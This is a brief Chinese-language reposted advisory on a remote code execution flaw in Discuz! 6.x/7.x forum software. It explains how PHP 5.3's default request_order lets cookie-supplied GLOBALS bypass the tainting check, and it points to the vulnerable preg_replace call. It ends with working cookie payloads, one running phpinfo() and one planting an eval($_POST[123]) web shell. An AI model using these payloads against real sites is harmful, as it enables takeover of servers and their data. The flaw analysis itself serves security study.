Discuz! 6.x/7.x 版本 前台任意代码执行漏洞
转自:https://paper.tuisec.win/detail.jsp?id=f2d8440d77e2c7f
漏洞原理:
由于php 5.3.x及以上版本里php.ini里设置的request_order默认为GP,即$request[]指的是GET和POST,而不包括cookie,导致Discuz! 6.x/7.x 版本利用全局变量防御绕过漏洞
在dz的源代码里,在GPC为off时,GPC为(GET、POST、COOKIE)1时,为$_GET\$_POST\$_COOKIE中的',''等自动转义,而在GPC为0时用addslashes进行转义。在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
但在php5.3.x及以上版本中,request_order默认为GP,因此利用COOKIE值可以绕过
漏洞位置:include/discuzcode.func.php
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
请求中Cookie带
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[123])%3B;
网友评论